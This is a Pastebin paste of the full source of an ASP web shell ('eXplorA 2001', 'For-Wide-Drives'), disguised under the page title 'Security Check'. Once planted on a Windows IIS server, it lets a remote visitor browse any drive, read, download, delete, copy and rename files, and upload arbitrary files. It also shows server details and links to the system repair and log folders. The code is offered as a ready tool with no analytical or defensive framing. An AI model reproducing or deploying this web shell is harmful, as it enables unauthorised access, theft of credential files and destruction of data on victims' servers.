Advertisement
Guest User

Cyberheb

a guest
Oct 2nd, 2007
745
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASP 22.49 KB | None | 0 0
  1. <%
  2. Exit
  3. Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  4. Response.Buffer = true
  5. ImgOFolder  = "http://liquidmirror.com/OFolder.gif"
  6. ImgCFolder  = "http://liquidmirror.com/CFolder.gif"
  7. 'ImgOFolder = "OFolder.gif"
  8. 'ImgCFolder = "CFolder.gif"
  9.  
  10. If Request.QueryString("Download")="true" Then
  11.     Usa = checkDownload
  12.     strFile = Request.QueryString("strFile")
  13.     strFileName = right(strFile,len(strFile) - instrrev(strFile,"\"))
  14.     Set fso = Server.CreateObject("Scripting.FileSystemObject")
  15.         If fso.FileExists(strFile)  Then
  16.             if Usa = "ADO" then
  17.                 set ADOstream = Server.CreateObject("ADODB.Stream")
  18.                     ADOstream.Type = 1  'adTypeBinary
  19.                     ADOstream.Open
  20.                     ADOstream.LoadFromFile strFile
  21.                     strContents = ADOstream.Read
  22.                     ADOstream.Close
  23.                 Set ADOstream = Nothing
  24.             else
  25.                 Set Out = fso.OpenTextFile (strFile, 1, FALSE, FALSE)
  26.                     strContents = Out.ReadAll
  27.                     Out.Close
  28.                 Set Out = Nothing
  29.             end if 
  30.            
  31.             'Write the contents out to the html stream
  32.             Select Case Right(strFile, 3)
  33.                 Case "xxxx"
  34.                     'work in progress
  35.                 Case Else
  36.                     Response.ContentType = "text/octet-stream"
  37.                     Response.AddHeader "Content-disposition","filename=" & strFileName
  38.                     Response.BinaryWrite strContents
  39.             End Select
  40.  
  41.         Else
  42.         Response.Write "Error. File not found."
  43.         end If
  44. Set fso = nothing
  45. Response.end
  46. End If
  47.  
  48. If Request.QueryString("Delete")="true" Then
  49.     strFile = Request.QueryString("strFile")
  50.     strFileName = right(strFile,len(strFile) - instrrev(strFile,"\"))
  51.     Set fso = Server.CreateObject("Scripting.FileSystemObject")
  52.         If fso.FileExists(strFile)  Then
  53.             Set a = fso.GetFile(strFile)
  54.             a.delete
  55.             Response.redirect "explore.asp?strPath=" & mid(strFile,1,len(strFile) - len(strFileName))
  56.         Else
  57.             Response.Write "Error. File not found."
  58.         end If
  59. Set fso = nothing
  60. Set a = nothing
  61. Response.end
  62. End If
  63.  
  64. If Request.QueryString("Copy")="true" Then
  65.     strFile = Request.QueryString("strFile")
  66.     strFileName = right(strFile,len(strFile) - instrrev(strFile,"\"))
  67.     Set fso = Server.CreateObject("Scripting.FileSystemObject")
  68.         If fso.FileExists(strFile)  Then
  69.             Set a = fso.GetFile(strFile)
  70.             a.copy (Request.QueryString("strDestPath"))
  71.             Response.redirect "explore.asp?strPath=" & mid(strFile,1,len(strFile) - len(strFileName))
  72.         Else
  73.             Response.Write "Error. File not found."
  74.         end If
  75. Set fso = nothing
  76. Set a = nothing
  77. Response.end
  78. End If
  79.  
  80. If Request.QueryString("Rename")="true" Then
  81.     strFile = Request.QueryString("strFile")
  82.     strFileName = right(strFile,len(strFile) - instrrev(strFile,"\"))
  83.     Set fso = Server.CreateObject("Scripting.FileSystemObject")
  84.         If fso.FileExists(strFile)  Then
  85.             Set a = fso.GetFile(strFile)
  86.             a.copy (mid(strFile,1,len(strFile) - len(strFileName)) & Request.QueryString("strDestFileName"))
  87.             a.delete
  88.             Response.redirect "explore.asp?strPath=" & mid(strFile,1,len(strFile) - len(strFileName))
  89.         Else
  90.             Response.Write "Error. File not found."
  91.         end If
  92. Set fso = nothing
  93. Set a = nothing
  94. Response.end
  95. End If
  96.  
  97. If Request.QueryString("Read")="true" Then
  98.     strFile = Request.QueryString("strFile")
  99.     strFileName = right(strFile,len(strFile) - instrrev(strFile,"\"))
  100.         ilfile=server.mappath("strFile")
  101.         Set file = CreateObject("Scripting.FileSystemObject")
  102.         Set ilfile = file.OpenTextFile(strFile, 1, False)
  103.  
  104.                         counter=0
  105.                         do while not ilfile.AtEndOfStream
  106.                         counter=counter+1
  107.                         illine=ilfile.readline
  108.                         response.write illine & "<br>"
  109.                         loop
  110.                         ilfile.Close
  111. set ilfile=nothing
  112. set file=nothing
  113. Response.end
  114. End If
  115.  
  116.  
  117. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  118. ' Constants returned by Drive.DriveType
  119. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  120. Const DriveTypeRemovable = 1
  121. Const DriveTypeFixed = 2
  122. Const DriveTypeNetwork = 3
  123. Const DriveTypeCDROM = 4
  124. Const DriveTypeRAMDisk = 5
  125.  
  126. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  127. ' Constants returned by File.Attributes
  128. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  129. Const FileAttrNormal   = 0
  130. Const FileAttrReadOnly = 1
  131. Const FileAttrHidden = 2
  132. Const FileAttrSystem = 4
  133. Const FileAttrVolume = 8
  134. Const FileAttrDirectory = 16
  135. Const FileAttrArchive = 32
  136. Const FileAttrAlias = 64
  137. Const FileAttrCompressed = 128
  138.  
  139.  
  140. %>    
  141.    
  142.     <HTML>
  143.     <HEAD>
  144.         <TITLE>Security Check</TITLE>
  145.        
  146.         <STYLE>
  147. A  {
  148.     color : #0000CD;
  149.     text-decoration : none;
  150.     font-size : 12px;
  151.     font-face: Terminal;
  152. }
  153.  
  154. A:visited  {
  155.     color : #0000CD;
  156.     text-decoration : none;
  157. }
  158.  
  159. A:hover  {
  160.     color : #8A2BE2;
  161. }      
  162.  
  163.  
  164. TD.table
  165. {
  166.     color : #000000;
  167.     text-decoration : none;
  168.     font-size : 10px;
  169.     font-family : Terminal;
  170.     text-align : left;
  171. }
  172.  
  173.        
  174.         </STYLE>
  175.     </HEAD>
  176.  
  177. <br><hr color="#0000CD"><br>
  178. <table cellpadding="3" cellspacing="3" border="5" bordercolor="#0000CD">
  179. <tr>
  180. <td align="left" bgcolor="#F8F8FF">
  181. <font color="#0000CD" size="2"><b>Ģ Info del server.</b></font>
  182. </td>
  183. <td align="left" bgcolor="#F8F8FF">
  184. <font color="#0000CD" size="2"><b>Ģ Info del client.</b></font>
  185. </td>
  186. </tr>
  187. <tr>
  188. <td align=left>
  189. <div align=left><font color="#0000CD" size="3">
  190. <b>User</b>: <%= "\\" & oScriptNet.ComputerName & " \ " & oScriptNet.UserName %> <br>
  191. <b>ID</b>: <%=request.servervariables("SERVER_NAME")%> <br>
  192. <b>IP</b>: <%=request.servervariables("LOCAL_ADDR")%> <br>
  193. <b>HTTPD</b>: <%=request.servervariables("SERVER_SOFTWARE")%> <b>Port</b>: <%=request.servervariables("SERVER_PORT")%> <br>
  194. <b>Dove sta il sito?</b>: <%=request.servervariables("APPL_PHYSICAL_PATH")%> <br>
  195. <b>LogRoot</b>: <%=request.servervariables("APPL_MD_PATH")%> <br>
  196. <b>Data</b>: <% =date() %> <br>
  197. <b>Ora</b>: <%=time() %> <br>
  198. <b>HTTPs</b>: <%=request.servervariables("HTTPS")%>
  199. <br></font></div>
  200. </td>
  201. <td align="left" valign="top"><font color="#0000CD" size="3">
  202. <b>Indirizzo locale</b>: <%=request.servervariables("REMOTE_ADDR")%> <br>
  203. <b>Forwarded from</b> : <%=request.servervariables("HTTP_X_FORWARDED_FOR")%> <br>
  204. <b>Via</b>: <%=request.servervariables("HTTP_VIA")%> <br>
  205. <b>User Agent</b>: <%=request.servervariables("HTTP_USER_AGENT")%> <br>
  206. <b>Wookie</b>: <%=request.servervariables("HTTP_WOOKIE")%> <br>
  207. <b>Cache Control</b>: <%=request.servervariables("HTTP_CACHE_CONTROL")%> <br>
  208. <b>Interfaccia</b>: <%=request.servervariables("GATEWAY_INTERFACE")%> <br>
  209. <b>Protocollo</b>: <%=request.servervariables("SERVER_PROTOCOL")%> <br>
  210. <b>Metodo</b>: <%=request.servervariables("REQUEST_METHOD")%> <br>
  211. <b>Porta Remota</b>: <%=request.servervariables("REMOTE_PORT")%> <br>
  212. <b>HTTP_COOKIE</b>: <%=request.servervariables("HTTP_COOKIE")%> <br>
  213. </font></td></tr></table><br><hr color="#0000CD"><br>
  214. <b><font color="#0000CD" size="3">Directory:</b></font>
  215. <a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=c:\winnt\system32\logfiles\"><font color="#0000CD" size="3">Logs 1</font></a><font color="#0000CD" size="3"> - </font>
  216. <a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=c:\windows\system32\logfiles\"><font color="#0000CD" size="3">Logs 2</font></a><font color="#0000CD" size="3"> - </font>
  217. <a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=d\winnt\system32\logfiles\"><font color="#0000CD" size="3">Logs 3</font></a><font color="#0000CD" size="3"> - </font>
  218. <a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=d:\windows\system32\logfiles\"><font color="#0000CD" size="3">Logs 4</font></a><font color="#0000CD" size="3"> - </font>
  219. <a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=<%=request.servervariables("APPL_PHYSICAL_PATH")%>"><font color="#0000CD" size="3">Site</font></a><font color="#0000CD" size="3"> - </font>
  220. <a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=c:\winnt\repair\"><font color="#0000CD" size="3">Repair 1</font></a><font color="#0000CD" size="3"> - </font>
  221. <a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=d:\winnt\repair\"><font color="#0000CD" size="3">Repair 2</font></a><font color="#0000CD" size="3"> - </font>
  222. <a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=c:\windows\repair\"><font color="#0000CD" size="3">Repair 3</font></a><font color="#0000CD" size="3"> - </font>
  223. <a href="http://<%=request.servervariables("LOCAL_ADDR")%>/explore.asp?strPath=d:\windows\repair\"><font color="#0000CD" size="3">Repair 4</font></a><font color="#0000CD" size="3"> - </font>
  224.  
  225. <br><hr color="#0000CD"><br>
  226. <body bgColor=#ffffff>
  227.  
  228.  <CENTER><P ALIGN="CENTER">
  229.  
  230.    
  231.    
  232.     <%
  233.             strDir = Request("strPath")
  234.             if strDir = "" Then strDir = Server.MapPath("/")
  235.             If Right(strDir, 1) <> "\" Then strDir = strDir & "\"
  236.             strParse = strDir
  237.             lngPos = InStr(1, strParse, "\")
  238.             strOut = "<A HREF=""explore.asp?strPath=" & Mid(strParse, 1, lngPos) & """><IMG SRC="""&ImgOFolder&""" BORDER=""0"">" & Left(strParse, lngPos) & "</A><BR>"
  239.  
  240.             x = 2
  241.             Do While lngPos <> 0
  242.                 oldPos = lngPos
  243.                 lngPos = InStr(oldPos + 1, strParse, "\")
  244.                 if lngPos = 0 Then Exit Do
  245.                 For y = 1 to x
  246.                     strIndent = strIndent & "&nbsp;"
  247.                 Next 'y
  248.                 strOut = strOut & strIndent & "<A HREF=""explore.asp?strPath=" & Mid(strParse, 1, lngPos) & """><IMG SRC="""&ImgOFolder&""" BORDER=""0"">" & Mid(strParse, oldPos + 1, lngPos - (oldPos + 1)) & "</A><BR>"
  249.                
  250.                 x = x + 2
  251.                
  252.                 if lngPos = Len(strParse) Then Exit Do
  253.             Loop
  254. '           Response.Write("<TD class=""table"">")
  255.             Response.Write(strOut)
  256.             strIndent = strIndent & "&nbsp;&nbsp;"
  257.             Set objFSObject = CreateObject("Scripting.FileSystemObject")
  258.             Set objFolder = objFSObject.GetFolder(strDir)
  259.             Set colFolders = objFolder.SubFolders
  260.            
  261.             For Each intFol in colFolders
  262.                 strFName = intFol.name
  263.                 Response.Write(strIndent & "<A HREF=""explore.asp?strPath=" & intFol.Path & """><IMG SRC="""&ImgCFolder&""" BORDER=""0""> " & strFName &"</a><br>" & vbcrlf)
  264.             Next 'intFol
  265.            
  266.             Set colFiles = objFolder.Files
  267. %>
  268.  
  269.         </td>
  270.         <td bgcolor=#b0c4de width="250"><center><font face="Terminal"><font size="5px">???? 4WD ???? <br>For-Wide-Drives</font><br><br><br>eXplorA 2001 a</font></center></td>
  271.     </tr>
  272. </table>
  273.  
  274. <br>
  275. <br>
  276.  
  277.  
  278.  
  279. <table width="100%" border="1" cellpadding=1 cellspacing=0 bordercolordark=#9370db bordercolorlight=#b0c4de bordercolor=#9370db>
  280.     <tr bgcolor=#b0c4de>
  281.         <td class="table">name</td>
  282.         <td class="table">type</td>
  283.         <td class="table">attrib</td>
  284.         <td class="table">build</td>
  285.         <td class="table">access</td>
  286.         <td class="table">modificate</td>
  287.         <td class="table">size</td>
  288.         <td class="table">commands</td>
  289.     </tr>
  290. <%
  291. for each colfile in colfiles%>
  292.     <%=GenerateFileInformation(colFile)%>
  293. <%
  294. next
  295. %>
  296. </TABLE>
  297.  
  298.  
  299.  
  300. <SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT>
  301. Const IncludeType = 2
  302. Dim UploadSizeLimit
  303. Function GetUpload()
  304. Dim Result
  305. Set Result = Nothing
  306. If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
  307. Dim CT, PosB, Boundary, Length, PosE
  308. CT = Request.ServerVariables("HTTP_Content_Type")
  309. If LCase(Left(CT, 19)) = "multipart/form-data" Then
  310. PosB = InStr(LCase(CT), "boundary=")
  311. If PosB > 0 Then Boundary = Mid(CT, PosB + 9)
  312. PosB = InStr(LCase(CT), "boundary=")
  313. If PosB > 0 then
  314. PosB = InStr(Boundary, ",")
  315. If PosB > 0 Then Boundary = Left(Boundary, PosB - 1)
  316. end if
  317. Length = CLng(Request.ServerVariables("HTTP_Content_Length"))
  318. If "" & UploadSizeLimit <> "" Then
  319. UploadSizeLimit = CLng(UploadSizeLimit)
  320. If Length > UploadSizeLimit Then
  321. Request.BinaryRead (Length)
  322. Err.Raise 2, "GetUpload", "Upload size " & FormatNumber(Length, 0) & "B exceeds limit of " & FormatNumber(UploadSizeLimit, 0) & "B"
  323. Exit Function
  324. End If
  325. End If
  326. If Length > 0 And Boundary <> "" Then
  327. Boundary = "--" & Boundary
  328. Dim Head, Binary
  329. Binary = Request.BinaryRead(Length)
  330. Set Result = SeparateFields(Binary, Boundary)
  331. Binary = Empty
  332. Else
  333. Err.Raise 10, "GetUpload", "Zero length request ."
  334. End If
  335. Else
  336. Err.Raise 11, "GetUpload", "No file sent."
  337. End If
  338. Else
  339. Err.Raise 1, "GetUpload", "Bad request method."
  340. End If
  341. Set GetUpload = Result
  342. End Function
  343. Function SeparateFields(Binary, Boundary)
  344. Dim PosOpenBoundary, PosCloseBoundary, PosEndOfHeader, isLastBoundary
  345. Dim Fields
  346. Boundary = StringToBinary(Boundary)
  347. PosOpenBoundary = InStrB(Binary, Boundary)
  348. PosCloseBoundary = InStrB(PosOpenBoundary + LenB(Boundary), Binary, Boundary, 0)
  349. Set Fields = CreateObject("Scripting.Dictionary")
  350. Do While (PosOpenBoundary > 0 And PosCloseBoundary > 0 And Not isLastBoundary)
  351. Dim HeaderContent, FieldContent, bFieldContent
  352. Dim Content_Disposition, FormFieldName, SourceFileName, Content_Type
  353. Dim Field, TwoCharsAfterEndBoundary
  354. PosEndOfHeader = InStrB(PosOpenBoundary + Len(Boundary), Binary, StringToBinary(vbCrLf + vbCrLf))
  355. HeaderContent = MidB(Binary, PosOpenBoundary + LenB(Boundary) + 2, PosEndOfHeader - PosOpenBoundary - LenB(Boundary) - 2)
  356. bFieldContent = MidB(Binary, (PosEndOfHeader + 4), PosCloseBoundary - (PosEndOfHeader + 4) - 2)
  357. GetHeadFields BinaryToString(HeaderContent), Content_Disposition, FormFieldName, SourceFileName, Content_Type
  358. Set Field = CreateUploadField()
  359. Set FieldContent = CreateBinaryData()
  360. FieldContent.ByteArray = bFieldContent
  361. FieldContent.Length = LenB(bFieldContent)
  362. Field.Name = FormFieldName
  363. Field.ContentDisposition = Content_Disposition
  364. Field.FilePath = SourceFileName
  365. Field.FileName = GetFileName(SourceFileName)
  366. Field.ContentType = Content_Type
  367. Field.Length = FieldContent.Length
  368. Set Field.Value = FieldContent
  369. Fields.Add FormFieldName, Field
  370. TwoCharsAfterEndBoundary = BinaryToString(MidB(Binary, PosCloseBoundary + LenB(Boundary), 2))
  371. isLastBoundary = TwoCharsAfterEndBoundary = "--"
  372. If Not isLastBoundary Then
  373. PosOpenBoundary = PosCloseBoundary
  374. PosCloseBoundary = InStrB(PosOpenBoundary + LenB(Boundary), Binary, Boundary)
  375. End If
  376. Loop
  377. Set SeparateFields = Fields
  378. End Function
  379. Function GetHeadFields(ByVal Head, Content_Disposition, Name, FileName, Content_Type)
  380. Content_Disposition = LTrim(SeparateField(Head, "content-disposition:", ";"))
  381. Name = (SeparateField(Head, "name=", ";"))
  382. If Left(Name, 1) = """" Then Name = Mid(Name, 2, Len(Name) - 2)
  383. FileName = (SeparateField(Head, "filename=", ";"))
  384. If Left(FileName, 1) = """" Then FileName = Mid(FileName, 2, Len(FileName) - 2)
  385. Content_Type = LTrim(SeparateField(Head, "content-type:", ";"))
  386. End Function
  387. Function SeparateField(From, ByVal sStart, ByVal sEnd)
  388. Dim PosB, PosE, sFrom
  389. sFrom = LCase(From)
  390. PosB = InStr(sFrom, sStart)
  391. If PosB > 0 Then
  392. PosB = PosB + Len(sStart)
  393. PosE = InStr(PosB, sFrom, sEnd)
  394. If PosE = 0 Then PosE = InStr(PosB, sFrom, vbCrLf)
  395. If PosE = 0 Then PosE = Len(sFrom) + 1
  396. SeparateField = Mid(From, PosB, PosE - PosB)
  397. Else
  398. SeparateField = Empty
  399. End If
  400. End Function
  401. Function GetFileName(FullPath)
  402. Dim Pos, PosF
  403. PosF = 0
  404. For Pos = Len(FullPath) To 1 Step -1
  405. Select Case Mid(FullPath, Pos, 1)
  406. Case "/", "\": PosF = Pos + 1: Pos = 0
  407. End Select
  408. Next
  409. If PosF = 0 Then PosF = 1
  410. GetFileName = Mid(FullPath, PosF)
  411. End Function
  412. Function BinaryToString(Binary)
  413. dim cl1, cl2, cl3, pl1, pl2, pl3
  414. Dim L
  415. cl1 = 1
  416. cl2 = 1
  417. cl3 = 1
  418. L = LenB(Binary)
  419. Do While cl1<=L
  420. pl3 = pl3 & Chr(AscB(MidB(Binary,cl1,1)))
  421. cl1 = cl1 + 1
  422. cl3 = cl3 + 1
  423. if cl3>300 then
  424. pl2 = pl2 & pl3
  425. pl3 = ""
  426. cl3 = 1
  427. cl2 = cl2 + 1
  428. if cl2>200 then
  429. pl1 = pl1 & pl2
  430. pl2 = ""
  431. cl2 = 1
  432. End If
  433. End If
  434. Loop
  435. BinaryToString = pl1 & pl2 & pl3
  436. End Function
  437. Function BinaryToStringold(Binary)
  438. Dim I, S
  439. For I = 1 To LenB(Binary)
  440. S = S & Chr(AscB(MidB(Binary, I, 1)))
  441. Next
  442. BinaryToString = S
  443. End Function
  444. Function StringToBinary(String)
  445. Dim I, B
  446. For I=1 to len(String)
  447. B = B & ChrB(Asc(Mid(String,I,1)))
  448. Next
  449. StringToBinary = B
  450. End Function
  451. Function vbsSaveAs(FileName, ByteArray)
  452. Dim FS, TextStream
  453. Set FS = CreateObject("Scripting.FileSystemObject")
  454. Set TextStream = FS.CreateTextFile(FileName)
  455. TextStream.Write BinaryToString(ByteArray)
  456. TextStream.Close
  457. End Function
  458. </SCRIPT>
  459. <SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
  460. function CreateUploadField(){ return new uf_Init() }
  461. function uf_Init(){
  462. this.Name = null
  463. this.ContentDisposition = null
  464. this.FileName = null
  465. this.FilePath = null
  466. this.ContentType = null
  467. this.Value = null
  468. this.Length = null
  469. }
  470. function CreateBinaryData(){ return new bin_Init() }
  471. function bin_Init(){
  472. this.ByteArray = null
  473. this.Length = null
  474. this.String = jsBinaryToString
  475. this.SaveAs = jsSaveAs
  476. }
  477. function jsBinaryToString(){
  478. return BinaryToString(this.ByteArray)
  479. }
  480. function jsSaveAs(FileName){
  481. return vbsSaveAs(FileName, this.ByteArray)
  482. }
  483. </SCRIPT>
  484.  
  485. <%
  486. function Start()
  487. If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
  488. Set Fields = GetUpload()
  489. FilePath = Request.QueryString("strPath")
  490. if len(FilePath) <> 0 then
  491.     if mid(FilePath, len(FilePath), 1) <> "\" then FilePath = FilePath & "\"
  492.     FilePath = FilePath & Fields("File1").Filename
  493. else
  494.     FilePath = Server.MapPath(".") & "\" & Fields("File1").FileName
  495. end if
  496.  
  497. Fields("File1").Value.SaveAs FilePath
  498. strFile = Request.QueryString("strFile")
  499. strFileName = right(strFile,len(strFile) - instrrev(strFile,"\"))
  500. Response.redirect "explore.asp?strPath=" & Request.QueryString("strPath")
  501. End If
  502. end function
  503. %>
  504. <br><center>
  505. <p>._.-?'?-._.->File Upload Zone<-._.-?'?-._.</p>
  506. <p><form method=post ENCTYPE="multipart/form-data">
  507. <p>File :
  508.   <input type="file" name="File1">
  509.   <br>
  510.   <input type="submit" Name="Action" value="Upload the file" style='font-family:Terminal;color:#0000CD' action=<%Start%>>
  511.   <INPUT TYPE='HIDDEN' NAME='strPath' VALUE=" & Request.QueryString(strPath)>
  512. </form></p></center>
  513.  
  514. <br>
  515. <center><font face="Terminal" size="1px">
  516. </p>
  517. <p>Copyright For-Wide-Drives</font></center> </p>
  518.  
  519. </body>
  520. </html>
  521. <%
  522.  
  523.  
  524. Function ShowFileAttr(File) ' File can be a file or folder
  525.  
  526.    Dim S
  527.    Dim Attr
  528.    
  529.    Attr = File.Attributes
  530.  
  531.    If Attr = 0 Then
  532.       ShowFileAttr = "Normal"
  533.       Exit Function
  534.    End If
  535.  
  536.    If Attr And FileAttrDirectory Then S = S & "Dir "
  537.    If Attr And FileAttrReadOnly Then S = S & "R "
  538.    If Attr And FileAttrHidden Then S = S & "H "
  539.    If Attr And FileAttrSystem Then S = S & "S "
  540.    If Attr And FileAttrVolume Then S = S & "V "
  541.    If Attr And FileAttrArchive Then S = S & "A "
  542.    If Attr And FileAttrAlias Then S = S & "Al "
  543.    If Attr And FileAttrCompressed Then S = S & "Compressed "
  544.  
  545.    ShowFileAttr = S
  546.  
  547. End Function
  548.  
  549. Function GenerateFileInformation(File)
  550.  
  551.    Dim S
  552. '   jFilePath = replace(File.Path,"\","\\")
  553. '   jFilePath = replace(jFilePath,"'","\'")
  554.  
  555.    S = "<tr><td class=""table""><A HREF=""explore.asp?Download=true&strFile=" & File.Path & """>" & File.Name & "</a></td>"
  556.    S = S & "<td class=""table"">" & File.Type & "</td>"
  557.    S = S & "<td class=""table"">" & ShowFileAttr(File) & "</td>"
  558.    S = S & "<td class=""table"">" & File.DateCreated & "</td>"
  559.    S = S & "<td class=""table"">"
  560.    on error resume next
  561.    S = S & File.DateLastAccessed
  562.    err.clear
  563.    on error goto 0
  564.    S = S & "</td>"
  565.    S = S & "<td class=""table"">" & File.DateLastModified & "</td>"
  566.    S = S & "<td class=""table"">" & File.Size & "</td>"
  567.    S = S & "<td class=""table"">" & DelCopyRen(File) & "</td></tr>"
  568.  
  569.    GenerateFileInformation = S
  570.  
  571. End Function
  572.  
  573.  
  574. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  575. ' ShowFileAttr
  576. ' Purpose:
  577. '    Generates a string describing the attributes of a file or folder.
  578. ' Demonstrates the following
  579. '  - File.Attributes
  580. '  - Folder.Attributes
  581. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  582. Function ShowFileAttr(File) ' File can be a file or folder
  583.  
  584.    Dim S
  585.    Dim Attr
  586.    
  587.    Attr = File.Attributes
  588.  
  589.    If Attr = 0 Then
  590.       ShowFileAttr = "Normal"
  591.       Exit Function
  592.    End If
  593.  
  594.    If Attr And FileAttrDirectory Then S = S & "Dir "
  595.    If Attr And FileAttrReadOnly Then S = S & "R "
  596.    If Attr And FileAttrHidden Then S = S & "H "
  597.    If Attr And FileAttrSystem Then S = S & "S "
  598.    If Attr And FileAttrVolume Then S = S & "V "
  599.    If Attr And FileAttrArchive Then S = S & "A "
  600.    If Attr And FileAttrAlias Then S = S & "Al "
  601.    If Attr And FileAttrCompressed Then S = S & "Compressed "
  602.  
  603.    ShowFileAttr = S
  604.  
  605. End Function
  606.  
  607.  
  608.  
  609. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  610. ' ShowDriveType
  611. ' Purpose:
  612. '    Generates a string describing the drive type of a given Drive object.
  613. ' Demonstrates the following
  614. '  - Drive.DriveType
  615. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  616. Function ShowDriveType(Drive)
  617.  
  618.    Dim S
  619.    
  620.    Select Case Drive.DriveType
  621.    Case DriveTypeRemovable
  622.       S = "Removable"
  623.    Case DriveTypeFixed
  624.       S = "Fixed"
  625.    Case DriveTypeNetwork
  626.       S = "Network"
  627.    Case DriveTypeCDROM
  628.       S = "CD-ROM"
  629.    Case DriveTypeRAMDisk
  630.       S = "RAM Disk"
  631.    Case Else
  632.       S = "Unknown"
  633.    End Select
  634.  
  635.    ShowDriveType = S
  636.  
  637. End Function
  638.  
  639.  
  640.  
  641. function spazia(stringa,lunghezzatotale)
  642.     spaz = ""
  643.     for i = 1 to lunghezzatotale - len(stringa)
  644.         spaz = spaz & " "
  645.     next
  646.     spazia = spaz
  647. end function
  648.  
  649. function checkDownload()
  650.    
  651.     Dim ADOstream
  652.     on error resume next
  653.     'Create a stream object
  654.     set ADOstream = Server.CreateObject("ADODB.Stream")
  655.     if ADOstream is nothing then
  656.         checkDownload = "FSO"
  657.     else
  658.         checkDownload = "ADO"  
  659.     end if
  660.     set ADOstream = nothing
  661.  
  662.     on error goto 0
  663.    
  664. end function
  665.  
  666.  
  667. Function DelCopyRen(File)
  668.  
  669.    Dim S
  670.  
  671.    S = "<A HREF=""explore.asp?Read=true&strFile=" & File & """>" & "Read " & "</a>"
  672.    S = S & "<A HREF=""explore.asp?Delete=true&strFile=" & File & """>" & "Delete" & "</a>"
  673.    S = S & "<FORM ACTION='explore.asp' METHOD='GET'>"
  674.    S = S & "<INPUT TYPE='HIDDEN' NAME='Copy' VALUE='true'>"
  675.    S = S & "<INPUT TYPE='HIDDEN' NAME='strFile' VALUE='" & File & "'>"
  676.    S = S & "<INPUT TYPE='SUBMIT' NAME='SUBMIT1' VALUE='Copy to' "
  677.    S = S & "style='width:50px;font-family:Terminal;color:#0000CD'>"
  678.    S = S & " Destination Path: <INPUT TYPE='INPUT' WIDTH='70' NAME='strDestPath'></FORM>"
  679.    S = S & "<FORM ACTION='explore.asp' METHOD='GET'>"
  680.    S = S & "<INPUT TYPE='HIDDEN' NAME='Rename' VALUE='true'>"
  681.    S = S & "<INPUT TYPE='HIDDEN' NAME='strFile' VALUE='" & File & "'>"
  682.    S = S & "<INPUT TYPE='SUBMIT' NAME='SUBMIT2' VALUE='Rename to' "
  683.    S = S & "style='width:60px;font-family:Terminal;color:#0000CD'>"
  684.    S = S & " Destination FileName: <INPUT TYPE='INPUT' WIDTH='70' NAME='strDestFileName'></FORM>"
  685.    
  686.    DelCopyRen = S
  687.  
  688. End Function
  689.  
  690. %>
  691.  
  692.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement